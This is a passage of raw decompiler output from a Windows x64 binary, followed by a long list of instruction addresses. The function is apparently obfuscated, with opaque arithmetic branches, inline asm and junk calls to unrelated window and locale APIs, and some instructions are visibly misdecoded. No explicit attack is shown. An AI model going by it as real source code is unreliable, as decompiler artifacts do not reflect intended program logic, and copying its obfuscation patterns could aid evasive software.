				if (_t1255 >= 0) goto 0xed0f8ed6;
				if (((_t566 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x5d >= 0) goto 0xed0f8f2f;
				sil = 0x28;
				dil = 0x2b;
				E00007FF67FF6ED1EE020();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - r14b < 0) goto 0xed0f8ee0;
				sil = sil + _t1001;
				 *0xed236f60 = sil & 0xffffffff;
				_t1258 = sil - 0x34;
				if (_t1258 < 0) goto 0xed0f8edd;
				_t573 = E00007FF67FF6ED184484(_t1331);
				r14d = 0x8000007f;
				if (_t1258 >= 0) goto 0xed0f8f22;
				goto 0xed0f8fbf;
				_t578 = E00007FF67FF6ED184484(_t1331);
				r14d = 0x8000007f;
				if (((_t573 & r14d) - _t1001 | 0xffffff80) + _t1001 - 0x5d >= 0) goto 0xed0f8f42;
				_t581 = (_t578 & 0x8000007f) - _t1001 | 0xffffff80;
				asm("enter 0x380, 0xc3");
				_t1261 = _t581 - 0x15;
				if (_t1261 != 0) goto 0xed0f8fc5;
				E00007FF67FF6ED184484(_t1331);
				if (_t1261 >= 0) goto 0xed0f8f58;
				asm("movsd xmm6, [0x110af8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1261 <= 0) goto 0xed0f8f98;
				E00007FF67FF6ED184484(_t1331);
				if (_t1261 >= 0) goto 0xed0f8f7f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1261 > 0x00000000;
				goto 0xed0f8fa6;
				E00007FF67FF6ED1EE3B8();
				 *0xed236f60 = _t1001;
				_t594 = E00007FF67FF6ED184484(_t1331);
				if (_t1261 >= 0) goto 0xed0f8fb7;
				_t1262 = ((_t594 & r14d) - _t1001 | 0xffffff80) + _t1001 - 0x15;
				 *0xed236f60 = 0 | _t1262 == 0x00000000;
				dil = 0x5f;
				_t599 = E00007FF67FF6ED184484(_t1331);
				if (_t1262 >= 0) goto 0xed0f8fd9;
				_t1263 = ((_t599 & r14d) - _t1001 | 0xffffff80) + _t1001 - 0x27;
				if (_t1263 <= 0) goto 0xed0f8ffd;
				_t604 = E00007FF67FF6ED184484(_t1331);
				if (_t1263 >= 0) goto 0xed0f8fef;
				 *0xed236f60 = 0 | ((_t604 & r14d) - _t1001 | 0xffffff80) + _t1001 - 0x00000027 > 0x00000000;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1265 = dil - 0x73;
				if (_t1265 < 0) goto 0xed0f8fc8;
				GetParent(??);
				IsIconic(??);
				dil = 2;
				E00007FF67FF6ED184484(_t1331);
				if (_t1265 >= 0) goto 0xed0f9034;
				_t617 = E00007FF67FF6ED184484(_t1331);
				if (_t1265 >= 0) goto 0xed0f9045;
				dil = dil + _t1001;
				 *0xed236f60 = 0 | ((_t617 & r14d) - _t1001 | 0xffffff80) + _t1001 > 0x00000000;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x15 < 0) goto 0xed0f9023;
				GetMessageExtraInfo();
				 *0xed236f60 = 0x52;
				_t1268 = 0x52 + _t1001 - 0x5b;
				if (_t1268 < 0) goto 0xed0f906d;
				dil = 0x6b;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1268 >= 0) goto 0xed0f909e;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x110b32]");
				if (_t1268 < 0) goto 0xed0f90b6;
				if (dil - 0x75 < 0) goto 0xed0f9080;
				GetWindowTextLengthW(??);
				r13b = r13b + _t1001;
				 *0xed236f60 = r13b & 0xffffffff;
				_t1270 = r13b - 0x11;
				if (_t1270 < 0) goto 0xed0f90be;
				_t633 = E00007FF67FF6ED184484(_t1331);
				r13d = 0xffffff80;
				if (_t1270 >= 0) goto 0xed0f90e8;
				_t1271 = ((_t633 & r14d) - _t1001 | r13d) + _t1001 - 7;
				if (_t1271 >= 0) goto 0xed0f910e;
				_t638 = E00007FF67FF6ED184484(_t1331);
				if (_t1271 >= 0) goto 0xed0f90fe;
				_t1272 = ((_t638 & r14d) - _t1001 | r13d) + _t1001 - 7;
				 *0xed236f60 = 0 | _t1272 < 0x00000000;
				goto 0xed0f9120;
				GetLastActivePopup(??);
				 *0xed236f60 = 0;
				asm("movsd xmm6, [0x110990]");
				dil = 0x38;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1272 >= 0) goto 0xed0f9149;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1272 != 0) goto 0xed0f915f;
				if (_t1272 != 0) goto 0xed0f915f;
				if (dil - 0x44 < 0) goto 0xed0f912b;
				AnyPopup();
				 *0xed236f60 = 0x21;
				_t1274 = 0x21 + _t1001 - 0x33;
				if (_t1274 < 0) goto 0xed0f9167;
				dil = 0x30;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t653 = E00007FF67FF6ED184484(_t1331);
				if (_t1274 >= 0) goto 0xed0f9198;
				if (((_t653 & r14d) - _t1001 | r13d) + _t1001 - 0x4b <= 0) goto 0xed0f91a3;
				if (dil - 0x38 < 0) goto 0xed0f917a;
				GetWindowTextLengthW(??);
				_t659 = GetUserDefaultLangID();
				r8d = 0x2361;
				0xed104f70();
				if (_t659 != 0) goto 0xed0fa5f6;
				r8d = 0;
				E00007FF67FF6ED0FCE80(0, _t1332, _a152, _t1343);
				 *0xed236f60 = 0x30;
				_t1278 = 0x30 + _t1001 - sil;
				if (_t1278 < 0) goto 0xed0f91f1;
				 *0xed236f60 = _t1001;
				GetForegroundWindow();
				_t663 = E00007FF67FF6ED184484(_t1331);
				if (_t1278 >= 0) goto 0xed0f921e;
				_t1279 = ((_t663 & r14d) - _t1001 | r13d) + _t1001 - 0x77;
				if (_t1279 <= 0) goto 0xed0f9242;
				_t668 = E00007FF67FF6ED184484(_t1331);
				if (_t1279 >= 0) goto 0xed0f9234;
				_t1280 = ((_t668 & r14d) - _t1001 | r13d) + _t1001 - 0x77;
				 *0xed236f60 = 0 | _t1280 > 0x00000000;
				GetDoubleClickTime();
				_t674 = E00007FF67FF6ED184484(_t1331);
				if (_t1280 >= 0) goto 0xed0f9259;
				_t1281 = ((_t674 & r14d) - _t1001 | r13d) + _t1001 - 0x7c;
				if (_t1281 <= 0) goto 0xed0f927d;
				_t679 = E00007FF67FF6ED184484(_t1331);
				if (_t1281 >= 0) goto 0xed0f926f;
				_t1282 = ((_t679 & r14d) - _t1001 | r13d) + _t1001 - 0x7c;
				 *0xed236f60 = 0 | _t1282 > 0x00000000;
				_t684 = E00007FF67FF6ED184484(_t1331);
				if (_t1282 >= 0) goto 0xed0f928e;
				_t1283 = ((_t684 & r14d) - _t1001 | r13d) + _t1001 - 0x6f;
				if (_t1283 >= 0) goto 0xed0f92b2;
				_t689 = E00007FF67FF6ED184484(_t1331);
				if (_t1283 >= 0) goto 0xed0f92a4;
				_t1284 = ((_t689 & r14d) - _t1001 | r13d) + _t1001 - 0x6f;
				 *0xed236f60 = 0 | _t1284 < 0x00000000;
				_t694 = E00007FF67FF6ED184484(_t1331);
				if (_t1284 >= 0) goto 0xed0f92c3;
				_t1285 = ((_t694 & r14d) - _t1001 | r13d) + _t1001 - 0x24;
				if (_t1285 < 0) goto 0xed0f92ed;
				GetCurrentProcessId();
				_t700 = E00007FF67FF6ED184484(_t1331);
				if (_t1285 >= 0) goto 0xed0f92df;
				_t1286 = ((_t700 & r14d) - _t1001 | r13d) + _t1001 - 0x24;
				 *0xed236f60 = 0 | _t1286 >= 0x00000000;
				GetUserDefaultLangID();
				E00007FF67FF6ED184484(_t1331);
				if (_t1286 >= 0) goto 0xed0f9304;
				asm("movsd xmm6, [0x110744]");
				r14b = 0x23;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1286 <= 0) goto 0xed0f9398;
				_t711 = E00007FF67FF6ED184484(_t1331);
				if (_t1286 >= 0) goto 0xed0f9330;
				if (((_t711 & 0x8000007f) - _t1001 | r13d) + _t1001 - 0x4d <= 0) goto 0xed0f934c;
				_t1104 = r14b;
				 *0xed236f60 = _t1104 & 0x000000ff;
				_t1288 = _t1104 + _t1001 - 0x28;
				if (_t1288 < 0) goto 0xed0f933c;
				_t717 = E00007FF67FF6ED184484(_t1331);
				if (_t1288 >= 0) goto 0xed0f935f;
				_t1289 = ((_t717 & 0x8000007f) - _t1001 | r13d) + _t1001 - 0x4d;
				 *0xed236f60 = 0 | _t1289 > 0x00000000;
				E00007FF67FF6ED184484(_t1331);
				if (_t1289 >= 0) goto 0xed0f937f;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1289 > 0x00000000;
				goto 0xed0f93ed;
				_t730 = E00007FF67FF6ED184484(_t1331) & 0x8000007f;
				if (_t730 >= 0) goto 0xed0f93ad;
				_t1291 = (_t730 - _t1001 | r13d) + _t1001 - 0x64;
				if (_t1291 >= 0) goto 0xed0f93ba;
				GetTickCount();
				goto 0xed0f93ca;
				E00007FF67FF6ED1EE020();
				 *0xed236f60 = 0x62;
				_t735 = E00007FF67FF6ED184484(_t1331);
				if (_t1291 >= 0) goto 0xed0f93da;
				 *0xed236f60 = 0 | ((_t735 & 0x8000007f) - _t1001 | r13d) + _t1001 - 0x00000064 < 0x00000000;
				GetModuleHandleW(??);
				 *0xed236f60 = 0x4a;
				if (0x4a + _t1001 - 0x55 < 0) goto 0xed0f93f7;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x55 < 0) goto 0xed0f9407;
				r14b = 0x4f;
				IsZoomed(??);
				r14b = r14b + _t1001;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x53 < 0) goto 0xed0f941d;
				 *0xed236f60 = 0x33;
				_t1296 = 0x33 + _t1001 - sil;
				if (_t1296 < 0) goto 0xed0f943a;
				E00007FF67FF6ED184484(_t1331);
				if (_t1296 >= 0) goto 0xed0f945d;
				asm("movsd xmm6, [0x11070b]");
				r13d = 0x58;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1296 <= 0) goto 0xed0f94cf;
				_t1297 = r15b - 0x14;
				if (_t1297 >= 0) goto 0xed0f94cf;
				dil = r13b;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t752 = E00007FF67FF6ED184484(_t1331);
				if (_t1297 >= 0) goto 0xed0f94a2;
				if (((_t752 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x73 > 0) goto 0xed0f94ad;
				_t1299 = dil - 0x65;
				if (_t1299 < 0) goto 0xed0f9482;
				r15b = r15b + _t1001;
				 *0xed236f60 = r15b & 0xffffffff;
				E00007FF67FF6ED184484(_t1331);
				if (_t1299 >= 0) goto 0xed0f946b;
				goto 0xed0f946b;
				E00007FF67FF6ED184484(_t1331);
				r15d = 0x8000007f;
				if (_t1299 >= 0) goto 0xed0f94ea;
				asm("movsd xmm6, [0x11069e]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1299 <= 0) goto 0xed0f952f;
				 *0xed1ee3f0();
				E00007FF67FF6ED184484(_t1331);
				if (_t1299 >= 0) goto 0xed0f9516;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1299 > 0x00000000;
				goto 0xed0f955d;
				E00007FF67FF6ED184484(_t1331);
				if (_t1299 >= 0) goto 0xed0f953f;
				_t781 = E00007FF67FF6ED184484(_t1331);
				if (_t1299 >= 0) goto 0xed0f954f;
				_t1300 = ((_t781 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x6c;
				 *0xed236f60 = 0 | _t1300 < 0x00000000;
				GetWindowTextLengthW(??);
				_t787 = E00007FF67FF6ED184484(_t1331);
				if (_t1300 >= 0) goto 0xed0f9575;
				_t1301 = ((_t787 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x24;
				if (_t1301 > 0) goto 0xed0f9598;
				_t792 = E00007FF67FF6ED184484(_t1331);
				if (_t1301 >= 0) goto 0xed0f958a;
				_t1302 = ((_t792 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x24;
				 *0xed236f60 = 0 | _t1302 <= 0x00000000;
				 *0xed236f60 = _t1001;
				GetDesktopWindow();
				GetTopWindow(??);
				GetCommandLineW();
				GetTopWindow(??);
				GetMessageTime();
				 *0xed236f60 = _t1001;
				E00007FF67FF6ED184484(_t1331);
				if (_t1302 >= 0) goto 0xed0f95d6;
				asm("movsd xmm6, [0x1103fa]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				E00007FF67FF6ED184484(_t1331);
				if (_t1302 >= 0) goto 0xed0f95f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1302 > 0x00000000;
				GetSystemDefaultLangID();
				E00007FF67FF6ED184484(_t1331);
				if (_t1302 >= 0) goto 0xed0f9623;
				asm("movsd xmm6, [0x110445]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1302 != 0) goto 0xed0f9669;
				if (_t1302 != 0) goto 0xed0f9669;
				E00007FF67FF6ED184484(_t1331);
				if (_t1302 >= 0) goto 0xed0f964b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1302 != 0) goto 0xed0f965f;
				if (_t1302 != 0) goto 0xed0f965f;
				goto 0xed0f9661;
				 *0xed236f60 = 0;
				goto 0xed0f96ba;
				_t827 = E00007FF67FF6ED184484(_t1331);
				if (_t1302 >= 0) goto 0xed0f9679;
				if (((_t827 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x78 <= 0) goto 0xed0f96b4;
				_t1304 = sil - 0x43;
				if (_t1304 >= 0) goto 0xed0f96ae;
				E00007FF67FF6ED1EE3B8();
				sil = sil + _t1001;
				 *0xed236f60 = sil & 0xffffffff;
				_t833 = E00007FF67FF6ED184484(_t1331);
				if (_t1304 >= 0) goto 0xed0f96a9;
				if (((_t833 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x78 > 0) goto 0xed0f967e;
				r13d = 0x58;
				 *0xed236f60 = _t1001;
				 *0xed236f60 = 0x56;
				_t1306 = 0x56 + _t1001 - 0x6a;
				if (_t1306 < 0) goto 0xed0f96bc;
				_t839 = E00007FF67FF6ED184484(_t1331);
				_t1160 = r15d;
				if (_t1306 >= 0) goto 0xed0f96e4;
				_t1307 = ((_t839 & r15d) - _t1001 | 0xffffff80) + _t1001 - 0x7f;
				if (_t1307 >= 0) goto 0xed0f9779;
				 *0xed1ee3d0();
				_t845 = E00007FF67FF6ED184484(_t1331);
				if (_t1307 >= 0) goto 0xed0f9704;
				_t1308 = ((_t845 & _t1160) - _t1001 | 0xffffff80) + _t1001 - 0x7f;
				 *0xed236f60 = 0 | _t1308 < 0x00000000;
				r15d = 0x5d;
				AnyPopup();
				 *0xed236f60 = _t1001;
				_t851 = E00007FF67FF6ED184484(_t1331);
				if (_t1308 >= 0) goto 0xed0f9733;
				if (((_t851 & _t1160) - _t1001 | 0xffffff80) + _t1001 - 0x6a >= 0) goto 0xed0f980f;
				dil = 0x32;
				 *0xed1ee038();
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t1310 = dil - 0x44;
				if (_t1310 < 0) goto 0xed0f973f;
				_t858 = E00007FF67FF6ED184484(_t1331);
				if (_t1310 >= 0) goto 0xed0f976c;
				_t1311 = ((_t858 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x6a;
				goto 0xed0f983a;
				E00007FF67FF6ED184484(_t1331);
				if (_t1311 >= 0) goto 0xed0f9788;
				asm("movsd xmm6, [0x1102d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1311 < 0) goto 0xed0f9712;
				dil = 0x1a;
				r15d = 0x5d;
				 *0xed236f60 = 0x17;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t869 = E00007FF67FF6ED184484(_t1331);
				if (_t1311 >= 0) goto 0xed0f97d4;
				if (((_t869 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - r15d > 0) goto 0xed0f97df;
				_t1313 = dil - 0x24;
				if (_t1313 < 0) goto 0xed0f97ab;
				E00007FF67FF6ED184484(_t1331);
				if (_t1313 >= 0) goto 0xed0f97f3;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1313 >= 0x00000000;
				goto 0xed0f9718;
				_t881 = E00007FF67FF6ED184484(_t1331);
				if (_t1313 >= 0) goto 0xed0f981e;
				_t1314 = ((_t881 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x30;
				if (_t1314 == 0) goto 0xed0f9840;
				_t886 = E00007FF67FF6ED184484(_t1331);
				if (_t1314 >= 0) goto 0xed0f9832;
				_t1315 = ((_t886 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x30;
				 *0xed236f60 = 0 | _t1315 != 0x00000000;
				_t891 = E00007FF67FF6ED184484(_t1331);
				if (_t1315 >= 0) goto 0xed0f984f;
				_t1316 = ((_t891 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x1a;
				if (_t1316 > 0) goto 0xed0f9877;
				 *0xed236f60 = _t1001;
				_t896 = E00007FF67FF6ED184484(_t1331);
				if (_t1316 >= 0) goto 0xed0f9869;
				 *0xed236f60 = 0 | ((_t896 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x0000001a <= 0x00000000;
				 *0xed236f60 = 0x47;
				_t1318 = 0x47 + _t1001 - 0x50;
				if (_t1318 < 0) goto 0xed0f9879;
				E00007FF67FF6ED184484(_t1331);
				if (_t1318 >= 0) goto 0xed0f9898;
				asm("movsd xmm6, [0x1101d8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1318 != 0) goto 0xed0f98b0;
				if (_t1318 == 0) goto 0xed0f98db;
				E00007FF67FF6ED184484(_t1331);
				if (_t1318 >= 0) goto 0xed0f98bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t1318 != 0) goto 0xed0f98d3;
				if (_t1318 != 0) goto 0xed0f98d3;
				goto 0xed0f98d5;
				 *0xed236f60 = _t1001;
				E00007FF67FF6ED184484(_t1331);
				if (_t1318 >= 0) goto 0xed0f98ea;
				asm("movsd xmm6, [0x110306]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1318 < 0) goto 0xed0f9931;
				 *0xed1ee008();
				E00007FF67FF6ED184484(_t1331);
				if (_t1318 >= 0) goto 0xed0f9915;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1318 >= 0x00000000;
				goto 0xed0f99d6;
				_t927 = E00007FF67FF6ED184484(_t1331);
				if (_t1318 >= 0) goto 0xed0f9940;
				_t1319 = ((_t927 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x29;
				if (_t1319 != 0) goto 0xed0f997e;
				dil = 0x21;
				dil = dil + _t1001;
				 *0xed236f60 = dil & 0xffffffff;
				_t933 = E00007FF67FF6ED184484(_t1331);
				if (_t1319 >= 0) goto 0xed0f9967;
				if (((_t933 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x3d < 0) goto 0xed0f9972;
				_t1321 = dil - 0x35;
				if (_t1321 < 0) goto 0xed0f9948;
				E00007FF67FF6ED184484(_t1331);
				goto 0xed0f99b4;
				bpl = bpl + _t1001;
				 *0xed236f60 = bpl & 0xffffffff;
				_t940 = E00007FF67FF6ED184484(_t1331);
				if (_t1321 >= 0) goto 0xed0f999a;
				if (((_t940 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x76 >= 0) goto 0xed0f99a5;
				_t1323 = bpl - 0x3a;
				if (_t1323 < 0) goto 0xed0f997e;
				 *0xed236f60 = 0;
				_t945 = E00007FF67FF6ED184484(_t1331);
				if (_t1323 >= 0) goto 0xed0f99be;
				_t1324 = ((_t945 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x29;
				 *0xed236f60 = 0 | _t1324 == 0x00000000;
				 *0xed236f60 = 0;
				GetCurrentProcessId();
				GetUserDefaultLangID();
				 *0xed236f60 = _t1001;
				GetSystemDefaultLangID();
				_t953 = E00007FF67FF6ED184484(_t1331);
				if (_t1324 >= 0) goto 0xed0f99fd;
				_t1325 = ((_t953 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x63;
				if (_t1325 == 0) goto 0xed0f9a29;
				E00007FF67FF6ED1EE028();
				_t958 = E00007FF67FF6ED184484(_t1331);
				if (_t1325 >= 0) goto 0xed0f9a19;
				_t1326 = ((_t958 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x63;
				 *0xed236f60 = 0 | _t1326 != 0x00000000;
				goto 0xed0f9a7a;
				E00007FF67FF6ED184484(_t1331);
				if (_t1326 >= 0) goto 0xed0f9a38;
				asm("movsd xmm6, [0x110058]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t1326 < 0) goto 0xed0f9a7a;
				 *0xed236f60 = _t1001;
				E00007FF67FF6ED184484(_t1331);
				if (_t1326 >= 0) goto 0xed0f9a63;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t1326 >= 0x00000000;
				GetTopWindow(??);
				r14b = 0x37;
				GetSystemDefaultLangID();
				r14b = r14b + _t1001;
				 *0xed236f60 = r14b & 0xffffffff;
				_t1327 = r14b - 0x49;
				if (_t1327 < 0) goto 0xed0f9a85;
				 *0xed236f60 = _t1001;
				 *0xed236f60 = _t1001;
				E00007FF67FF6ED184484(_t1331);
				r14b = 0x23;
				if (_t1327 >= 0) goto 0xed0f9abc;
				asm("movsd xmm6, [0x110114]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t1327 <= 0) goto 0xed0f9adc;
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t1331);
				if (_t1327 >= 0) goto 0xed0f9aeb;
				asm("movd xmm0, eax");
				bpl = 0x4a;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t1327 > 0x00000000;
				E00007FF67FF6ED184484(_t1331);
				if (_t1327 >= 0) goto 0xed0f9b14;
				asm("movsd xmm6, [0x10fea4]");
				goto 0xed0f9be9;
				_t1328 = bpl - 0x52;
				if (_t1328 >= 0) goto 0xed0f9bfd;
				_t995 = E00007FF67FF6ED184484(_t1331);
				if (_t1328 >= 0) goto 0xed0f9b3a;
				if (((_t995 & 0x8000007f) - _t1001 | 0xffffff80) + _t1001 - 0x16 < 0) goto 0xed0f9bc8;
				sil = 0x59;
				E00007FF67FF6ED184484(_t1331);
				goto 0xed0f9b9a;
				if (sil - 0x66 >= 0) goto 0xed0f9baa;
				dil = 0x28;
				asm("adc eax, [eax-0x80]");
				goto [far dword [rdx];
			}

0x7ff6ed0f820b
0x7ff6ed0f820f
0x7ff6ed0f8213
0x7ff6ed0f8215
0x7ff6ed0f8218
0x7ff6ed0f821e
0x7ff6ed0f8225
0x7ff6ed0f822b
0x7ff6ed0f8235
0x7ff6ed0f8240
0x7ff6ed0f8245
0x7ff6ed0f8247
0x7ff6ed0f824a
0x7ff6ed0f8254
0x7ff6ed0f8256
0x7ff6ed0f825a
0x7ff6ed0f825c
0x7ff6ed0f8263
0x7ff6ed0f8269
0x7ff6ed0f8270
0x7ff6ed0f8278
0x7ff6ed0f827b
0x7ff6ed0f827d
0x7ff6ed0f8283
0x7ff6ed0f8286
0x7ff6ed0f828d
0x7ff6ed0f8295
0x7ff6ed0f82a2
0x7ff6ed0f82a7
0x7ff6ed0f82ab
0x7ff6ed0f82b1
0x7ff6ed0f82b8
0x7ff6ed0f82c3
0x7ff6ed0f82c5
0x7ff6ed0f82ce
0x7ff6ed0f82d2
0x7ff6ed0f82d6
0x7ff6ed0f82da
0x7ff6ed0f82dc
0x7ff6ed0f82e2
0x7ff6ed0f82ea
0x7ff6ed0f82f1
0x7ff6ed0f82fa
0x7ff6ed0f82fd
0x7ff6ed0f8301
0x7ff6ed0f8307
0x7ff6ed0f830e
0x7ff6ed0f831f
0x7ff6ed0f8326
0x7ff6ed0f8328
0x7ff6ed0f8333
0x7ff6ed0f8335
0x7ff6ed0f833b
0x7ff6ed0f8340
0x7ff6ed0f8342
0x7ff6ed0f8345
0x7ff6ed0f8347
0x7ff6ed0f834b
0x7ff6ed0f834d
0x7ff6ed0f8354
0x7ff6ed0f835a
0x7ff6ed0f8364
0x7ff6ed0f836d
0x7ff6ed0f8370
0x7ff6ed0f8372
0x7ff6ed0f837e
0x7ff6ed0f8392
0x7ff6ed0f8395
0x7ff6ed0f839b
0x7ff6ed0f83a1
0x7ff6ed0f83a5
0x7ff6ed0f83ab
0x7ff6ed0f83b2
0x7ff6ed0f83bb
0x7ff6ed0f83be
0x7ff6ed0f83c0
0x7ff6ed0f83c7
0x7ff6ed0f83d2
0x7ff6ed0f83d8
0x7ff6ed0f83de
0x7ff6ed0f83e5
0x7ff6ed0f83ee
0x7ff6ed0f83f6
0x7ff6ed0f83fa
0x7ff6ed0f83fe
0x7ff6ed0f8402
0x7ff6ed0f8406
0x7ff6ed0f840c
0x7ff6ed0f8413
0x7ff6ed0f841c
0x7ff6ed0f8422
0x7ff6ed0f8426
0x7ff6ed0f842d
0x7ff6ed0f8433
0x7ff6ed0f843b
0x7ff6ed0f8446
0x7ff6ed0f844b
0x7ff6ed0f844e
0x7ff6ed0f8457
0x7ff6ed0f8463
0x7ff6ed0f8469
0x7ff6ed0f846c
0x7ff6ed0f846e
0x7ff6ed0f8473
0x7ff6ed0f8479
0x7ff6ed0f8482
0x7ff6ed0f848b
0x7ff6ed0f848e
0x7ff6ed0f8490
0x7ff6ed0f8496
0x7ff6ed0f849e
0x7ff6ed0f84a9
0x7ff6ed0f84ac
0x7ff6ed0f84ae
0x7ff6ed0f84b6
0x7ff6ed0f84bf
0x7ff6ed0f84c7
0x7ff6ed0f84d8
0x7ff6ed0f84e0
0x7ff6ed0f84e6
0x7ff6ed0f84ee
0x7ff6ed0f84f4
0x7ff6ed0f84ff
0x7ff6ed0f8507
0x7ff6ed0f8510
0x7ff6ed0f8516
0x7ff6ed0f8522
0x7ff6ed0f8528
0x7ff6ed0f852a
0x7ff6ed0f852c
0x7ff6ed0f8532
0x7ff6ed0f853a
0x7ff6ed0f8543
0x7ff6ed0f854b
0x7ff6ed0f854f
0x7ff6ed0f8553
0x7ff6ed0f8557
0x7ff6ed0f8559
0x7ff6ed0f8561
0x7ff6ed0f856a
0x7ff6ed0f856d
0x7ff6ed0f856f
0x7ff6ed0f8577
0x7ff6ed0f8582
0x7ff6ed0f8588
0x7ff6ed0f858e
0x7ff6ed0f8594
0x7ff6ed0f859c
0x7ff6ed0f85a5
0x7ff6ed0f85ab
0x7ff6ed0f85af
0x7ff6ed0f85b6
0x7ff6ed0f85bc
0x7ff6ed0f85be
0x7ff6ed0f85c6
0x7ff6ed0f85d2
0x7ff6ed0f85d4
0x7ff6ed0f85d7
0x7ff6ed0f85e1
0x7ff6ed0f85e4
0x7ff6ed0f85ea
0x7ff6ed0f85ee
0x7ff6ed0f85f0
0x7ff6ed0f85f8
0x7ff6ed0f8603
0x7ff6ed0f8609
0x7ff6ed0f860f
0x7ff6ed0f8617
0x7ff6ed0f8620
0x7ff6ed0f8628
0x7ff6ed0f862e
0x7ff6ed0f8632
0x7ff6ed0f8636
0x7ff6ed0f863a
0x7ff6ed0f863c
0x7ff6ed0f8643
0x7ff6ed0f864f
0x7ff6ed0f8658
0x7ff6ed0f865e
0x7ff6ed0f8662
0x7ff6ed0f8669
0x7ff6ed0f866f
0x7ff6ed0f8674
0x7ff6ed0f867e
0x7ff6ed0f8687
0x7ff6ed0f868a
0x7ff6ed0f868c
0x7ff6ed0f8696
0x7ff6ed0f8698
0x7ff6ed0f869b
0x7ff6ed0f86a7
0x7ff6ed0f86b0
0x7ff6ed0f86b8
0x7ff6ed0f86ba
0x7ff6ed0f86be
0x7ff6ed0f86c0
0x7ff6ed0f86c7
0x7ff6ed0f86cd
0x7ff6ed0f86d4
0x7ff6ed0f86dd
0x7ff6ed0f86e1
0x7ff6ed0f86e5
0x7ff6ed0f86e9
0x7ff6ed0f86eb
0x7ff6ed0f86f2
0x7ff6ed0f86fd
0x7ff6ed0f8703
0x7ff6ed0f8709
0x7ff6ed0f8710
0x7ff6ed0f8719
0x7ff6ed0f871c
0x7ff6ed0f871e
